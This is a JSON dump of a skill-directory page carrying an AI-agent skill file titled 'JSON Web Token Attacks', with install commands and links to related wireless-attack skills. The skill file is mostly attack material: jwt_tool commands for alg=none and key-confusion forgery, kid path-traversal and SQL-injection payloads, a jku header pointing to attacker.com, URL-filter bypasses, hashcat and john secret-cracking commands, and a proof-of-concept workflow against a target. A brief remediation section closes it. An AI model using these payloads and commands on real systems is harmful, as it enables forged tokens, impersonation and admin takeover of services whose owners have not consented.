[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M770CG4CMXKND8KFDHW6K982":3,"skill-same:01M770CG4CMXKND8KFDHW6K982":49},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":29,"commitSha":30,"skillDirectory":31,"forksCount":14,"repositoryHtmlUrl":32,"repositoryHomepageUrl":6,"ownerHtmlUrl":33,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":34,"install":35,"resources":48},"01M770CG4CMXKND8KFDHW6K982","jwt",null,"JSON Web Token attacks — algorithm confusion (alg=none, HS256↔RS256), kid header injection, JWKS spoofing, weak HMAC secret cracking, signature stripping.","Iwakishirokoshu\u002FHermesUltimate","Iwakishirokoshu","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F194847626?v=4","01M75P4CVGA89TTCE8JGMNAQQ9","Around","01M75P4CWF85V6GVSEFKGGFZ03",0,"MIT","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fjwt\u002FSKILL.md",[],[],"2026-11-12 13:55:43",false,"---\nname: jwt\ndescription: JSON Web Token attacks — algorithm confusion (alg=none, HS256↔RS256), kid header injection, JWKS spoofing, weak HMAC secret cracking, signature stripping.\nmetadata:\n  when_to_use: \"jwt json web token bearer signature alg=none kid jwks\"\n  mitre_attack: T1606.001\n  subdomain: authentication\n  upstream_ref: skills\u002F_corpus\u002Fpayloads\u002FJSON Web Token\u002F\n---\n\n# JSON Web Token Attacks\n\nJWTs are signed (`HS256`\u002F`RS256`\u002F`ES256`) or sometimes mis-configured to\naccept `none`. The header carries the alg + optionally `kid`\u002F`jku`\u002F`x5u`\nreferences. Each is a potential exploitation surface.\n\n## 1. Anatomy\n`header.payload.signature` — each base64url. Decode w\u002F `jwt_tool` or\n`jwt-cracker`:\n```bash\njwt_tool eyJhbGc...   # decode + verify + tamper modes\necho \"$JWT\" | cut -d. -f1-2 | tr '_-' '\u002F+' | base64 -d 2>\u002Fdev\u002Fnull\n```\n\n## 2. Attack surface\n\n### 2.1 `alg=none` bypass\nSet `{\"alg\":\"none\"}` in header, strip signature, send `header.payload.`:\n```bash\njwt_tool $JWT -X a    # alg=none attack\n```\nWorked on auth0 \u002F pyjwt \u002F many home-rolled libs pre-2017. Still appears\nin legacy systems.\n\n### 2.2 HS256 vs RS256 confusion\nServer uses RS256 (asymmetric) and verifies w\u002F public key. Attacker\nswitches `alg` to `HS256` and signs w\u002F the *public key* (which the server\nwill use as the HMAC secret):\n```bash\n# Get the public key\ncurl -s https:\u002F\u002Ftarget\u002F.well-known\u002Fjwks.json | jq -r '.keys[0]'\n# Or pull from a redirect \u002F unauth \u002Fpubkey endpoint\n\njwt_tool $JWT -X k -pk public.pem   # alg confusion attack\n```\n\n### 2.3 `kid` header injection\n`kid` (key ID) sometimes resolves to a file path or DB key:\n```json\n{\"alg\":\"HS256\",\"kid\":\"..\u002F..\u002F..\u002Fdev\u002Fnull\"}     \u002F\u002F sign with empty content\n{\"alg\":\"HS256\",\"kid\":\"key1' UNION SELECT 'mykey\"}  \u002F\u002F SQLi in kid lookup\n```\n`jwt_tool -X i -I -hc kid -hv path` chains kid injection variants.\n\n### 2.4 `jku` \u002F `x5u` URL injection\n`jku` (JWK Set URL) tells the server WHERE to fetch keys. If unvalidated,\nattacker hosts their own:\n```json\n{\"alg\":\"RS256\",\"jku\":\"https:\u002F\u002Fattacker.com\u002Fjwks.json\"}\n```\nThen `https:\u002F\u002Fattacker.com\u002Fjwks.json` returns attacker's public key,\nsigned JWT is \"valid\".\n\nBypass URL filters via:\n- subdomain confusion (`https:\u002F\u002Ftarget.com.attacker.com\u002Fjwks.json`)\n- userinfo (`https:\u002F\u002Fattacker.com@target.com\u002Fjwks.json`)\n- redirect chains via target's open-redirect\n\n### 2.5 Weak HMAC secret\nHS256 with weak secret crackable offline:\n```bash\nhashcat -m 16500 jwt.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\njohn --format=HMAC-SHA256 jwt.txt --wordlist=rockyou.txt\n```\nHashcat mode 16500 = JWT. Service-account secrets often `dev`\u002F`secret`\u002F\n`changeme`\u002Fcompany-name patterns.\n\n### 2.6 Signature stripping (Express.js \u002F older Go libs)\nSome libraries verify only IF a signature is present. Strip it:\n```\nheader.payload.    ← trailing dot, no sig\n```\n\n### 2.7 Embedded `jwk` header\n`jwk` in header (vs `jku` pointer) — attacker embeds their own pub key:\n```json\n{\"alg\":\"RS256\",\"jwk\":{\"kty\":\"RSA\",\"n\":\"\u003Cattacker_pub>\",\"e\":\"AQAB\"}}\n```\nOld node-jsonwebtoken accepted this.\n\n## 3. Detection in recon\n\nJWT presence signals:\n- `Authorization: Bearer eyJ...` headers\n- `access_token=eyJ...` \u002F `id_token=eyJ...` URL params or cookies\n- `.well-known\u002Fjwks.json` endpoint exposed\n- `.well-known\u002Fopenid-configuration` discovery doc\n\n## 4. PoC pattern (Burp + jwt_tool)\n1. Capture authenticated request\n2. `jwt_tool \u003CJWT> -M at -t \u003Ctarget_url>` — runs **a**ll **t**ests (alg=none, alg confusion, signature strip, weak HMAC dictionary)\n3. For positive results, replay manually via Burp Repeater to confirm\n4. Document the modified JWT + decoded admin claims as PoC\n\n## 5. Severity calibration\n\n| Bug | Typical severity |\n|---|---|\n| `alg=none` accepted on user → admin claim swap | Critical 9.8 |\n| HS256↔RS256 confusion → arbitrary user impersonation | Critical 9.8 |\n| `jku` to attacker URL accepted | Critical 9.8 |\n| Weak HMAC secret cracked offline (admin role) | Critical 9.8 |\n| `kid` SQLi → DB enumeration | High 8.0 |\n| Signature stripping accepted | Critical 9.8 |\n\n## 6. Defender remediation\n\n```javascript\n\u002F\u002F Node: jsonwebtoken\njwt.verify(token, publicKey, {\n    algorithms: ['RS256'],      \u002F\u002F EXPLICIT — never accept \"none\" or HS256 here\n    audience: 'api:\u002F\u002Fmy-service',\n    issuer: 'https:\u002F\u002Fauth.mycorp.com',\n});\n\n\u002F\u002F Python: PyJWT 2.0+\njwt.decode(token, public_key, algorithms=['RS256'])  \u002F\u002F explicit algorithm\n\n\u002F\u002F Validate kid \u002F jku come from a known-good fixed set, NEVER user-controlled lookup\n```\n\n## Cross-references\n- Upstream catalog: `skills\u002F_corpus\u002Fpayloads\u002FJSON Web Token\u002F`\n- jwt_tool: https:\u002F\u002Fgithub.com\u002Fticarpi\u002Fjwt_tool\n\n## Known exemplars\n- Auth0 alg=none (2015) — historical CVE-2015-2951 era\n- Multiple Github bounty $5-15k for HS256\u002FRS256 confusion in 2018-2021\n- Atlassian 2022: JWT validation bypass in JIRA cloud → admin\n- Several HackerOne $20k+ reports on kid path-traversal + jku to attacker host\n","# JSON Web Token Attacks\n\nJWTs are signed (`HS256`\u002F`RS256`\u002F`ES256`) or sometimes mis-configured to\naccept `none`. The header carries the alg + optionally `kid`\u002F`jku`\u002F`x5u`\nreferences. Each is a potential exploitation surface.\n\n## 1. Anatomy\n`header.payload.signature` — each base64url. Decode w\u002F `jwt_tool` or\n`jwt-cracker`:\n```bash\njwt_tool eyJhbGc...   # decode + verify + tamper modes\necho \"$JWT\" | cut -d. -f1-2 | tr '_-' '\u002F+' | base64 -d 2>\u002Fdev\u002Fnull\n```\n\n## 2. Attack surface\n\n### 2.1 `alg=none` bypass\nSet `{\"alg\":\"none\"}` in header, strip signature, send `header.payload.`:\n```bash\njwt_tool $JWT -X a    # alg=none attack\n```\nWorked on auth0 \u002F pyjwt \u002F many home-rolled libs pre-2017. Still appears\nin legacy systems.\n\n### 2.2 HS256 vs RS256 confusion\nServer uses RS256 (asymmetric) and verifies w\u002F public key. Attacker\nswitches `alg` to `HS256` and signs w\u002F the *public key* (which the server\nwill use as the HMAC secret):\n```bash\n# Get the public key\ncurl -s https:\u002F\u002Ftarget\u002F.well-known\u002Fjwks.json | jq -r '.keys[0]'\n# Or pull from a redirect \u002F unauth \u002Fpubkey endpoint\n\njwt_tool $JWT -X k -pk public.pem   # alg confusion attack\n```\n\n### 2.3 `kid` header injection\n`kid` (key ID) sometimes resolves to a file path or DB key:\n```json\n{\"alg\":\"HS256\",\"kid\":\"..\u002F..\u002F..\u002Fdev\u002Fnull\"}     \u002F\u002F sign with empty content\n{\"alg\":\"HS256\",\"kid\":\"key1' UNION SELECT 'mykey\"}  \u002F\u002F SQLi in kid lookup\n```\n`jwt_tool -X i -I -hc kid -hv path` chains kid injection variants.\n\n### 2.4 `jku` \u002F `x5u` URL injection\n`jku` (JWK Set URL) tells the server WHERE to fetch keys. If unvalidated,\nattacker hosts their own:\n```json\n{\"alg\":\"RS256\",\"jku\":\"https:\u002F\u002Fattacker.com\u002Fjwks.json\"}\n```\nThen `https:\u002F\u002Fattacker.com\u002Fjwks.json` returns attacker's public key,\nsigned JWT is \"valid\".\n\nBypass URL filters via:\n- subdomain confusion (`https:\u002F\u002Ftarget.com.attacker.com\u002Fjwks.json`)\n- userinfo (`https:\u002F\u002Fattacker.com@target.com\u002Fjwks.json`)\n- redirect chains via target's open-redirect\n\n### 2.5 Weak HMAC secret\nHS256 with weak secret crackable offline:\n```bash\nhashcat -m 16500 jwt.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\njohn --format=HMAC-SHA256 jwt.txt --wordlist=rockyou.txt\n```\nHashcat mode 16500 = JWT. Service-account secrets often `dev`\u002F`secret`\u002F\n`changeme`\u002Fcompany-name patterns.\n\n### 2.6 Signature stripping (Express.js \u002F older Go libs)\nSome libraries verify only IF a signature is present. Strip it:\n```\nheader.payload.    ← trailing dot, no sig\n```\n\n### 2.7 Embedded `jwk` header\n`jwk` in header (vs `jku` pointer) — attacker embeds their own pub key:\n```json\n{\"alg\":\"RS256\",\"jwk\":{\"kty\":\"RSA\",\"n\":\"\u003Cattacker_pub>\",\"e\":\"AQAB\"}}\n```\nOld node-jsonwebtoken accepted this.\n\n## 3. Detection in recon\n\nJWT presence signals:\n- `Authorization: Bearer eyJ...` headers\n- `access_token=eyJ...` \u002F `id_token=eyJ...` URL params or cookies\n- `.well-known\u002Fjwks.json` endpoint exposed\n- `.well-known\u002Fopenid-configuration` discovery doc\n\n## 4. PoC pattern (Burp + jwt_tool)\n1. Capture authenticated request\n2. `jwt_tool \u003CJWT> -M at -t \u003Ctarget_url>` — runs **a**ll **t**ests (alg=none, alg confusion, signature strip, weak HMAC dictionary)\n3. For positive results, replay manually via Burp Repeater to confirm\n4. Document the modified JWT + decoded admin claims as PoC\n\n## 5. Severity calibration\n\n| Bug | Typical severity |\n|---|---|\n| `alg=none` accepted on user → admin claim swap | Critical 9.8 |\n| HS256↔RS256 confusion → arbitrary user impersonation | Critical 9.8 |\n| `jku` to attacker URL accepted | Critical 9.8 |\n| Weak HMAC secret cracked offline (admin role) | Critical 9.8 |\n| `kid` SQLi → DB enumeration | High 8.0 |\n| Signature stripping accepted | Critical 9.8 |\n\n## 6. Defender remediation\n\n```javascript\n\u002F\u002F Node: jsonwebtoken\njwt.verify(token, publicKey, {\n    algorithms: ['RS256'],      \u002F\u002F EXPLICIT — never accept \"none\" or HS256 here\n    audience: 'api:\u002F\u002Fmy-service',\n    issuer: 'https:\u002F\u002Fauth.mycorp.com',\n});\n\n\u002F\u002F Python: PyJWT 2.0+\njwt.decode(token, public_key, algorithms=['RS256'])  \u002F\u002F explicit algorithm\n\n\u002F\u002F Validate kid \u002F jku come from a known-good fixed set, NEVER user-controlled lookup\n```\n\n## Cross-references\n- Upstream catalog: `skills\u002F_corpus\u002Fpayloads\u002FJSON Web Token\u002F`\n- jwt_tool: https:\u002F\u002Fgithub.com\u002Fticarpi\u002Fjwt_tool\n\n## Known exemplars\n- Auth0 alg=none (2015) — historical CVE-2015-2951 era\n- Multiple Github bounty $5-15k for HS256\u002FRS256 confusion in 2018-2021\n- Atlassian 2022: JWT validation bypass in JIRA cloud → admin\n- Several HackerOne $20k+ reports on kid path-traversal + jku to attacker host\n",{"name":5,"metadata":24,"description":7},{"subdomain":25,"when_to_use":26,"mitre_attack":27,"upstream_ref":28},"authentication","jwt json web token bearer signature alg=none kid jwks","T1606.001","skills\u002F_corpus\u002Fpayloads\u002FJSON Web Token\u002F","main","c0c483827a963764d5e1a663a9591867d47289e6","stack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fjwt","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu","2026-06-15 13:48:41",{"source":8,"skillName":5,"commands":36,"prompt":46,"zipAvailable":47},[37,40,43],{"tool":38,"command":39},"npx","npx skills add Iwakishirokoshu\u002FHermesUltimate --skill jwt",{"tool":41,"command":42},"bunx","bunx skills add Iwakishirokoshu\u002FHermesUltimate --skill jwt",{"tool":44,"command":45},"pnpm","pnpm dlx skills add Iwakishirokoshu\u002FHermesUltimate --skill jwt","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fjwt\u002FSKILL.md",true,[],[50,57,64,71,78,85],{"skillNo":51,"name":52,"nameZh":6,"description":53,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":54,"categories":55,"keywords":56,"publishedAt":19},"01M770W8JDE5EC1TJT4GSDWD78","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":58,"name":59,"nameZh":6,"description":60,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":61,"categories":62,"keywords":63,"publishedAt":19},"01M770W4B7T5VCVHB88V1F02H1","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":65,"name":66,"nameZh":6,"description":67,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":68,"categories":69,"keywords":70,"publishedAt":19},"01M770W093C8FAV8S34K8VB6T9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":72,"name":73,"nameZh":6,"description":74,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":75,"categories":76,"keywords":77,"publishedAt":19},"01M770VTNAQGZ3D0RQVFEKTE8Z","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":79,"name":80,"nameZh":6,"description":81,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":82,"categories":83,"keywords":84,"publishedAt":19},"01M770VNG05ZX3CV84R9GX8PJN","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":19},"01M770VHFH7N192V56PFSRXF5K","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]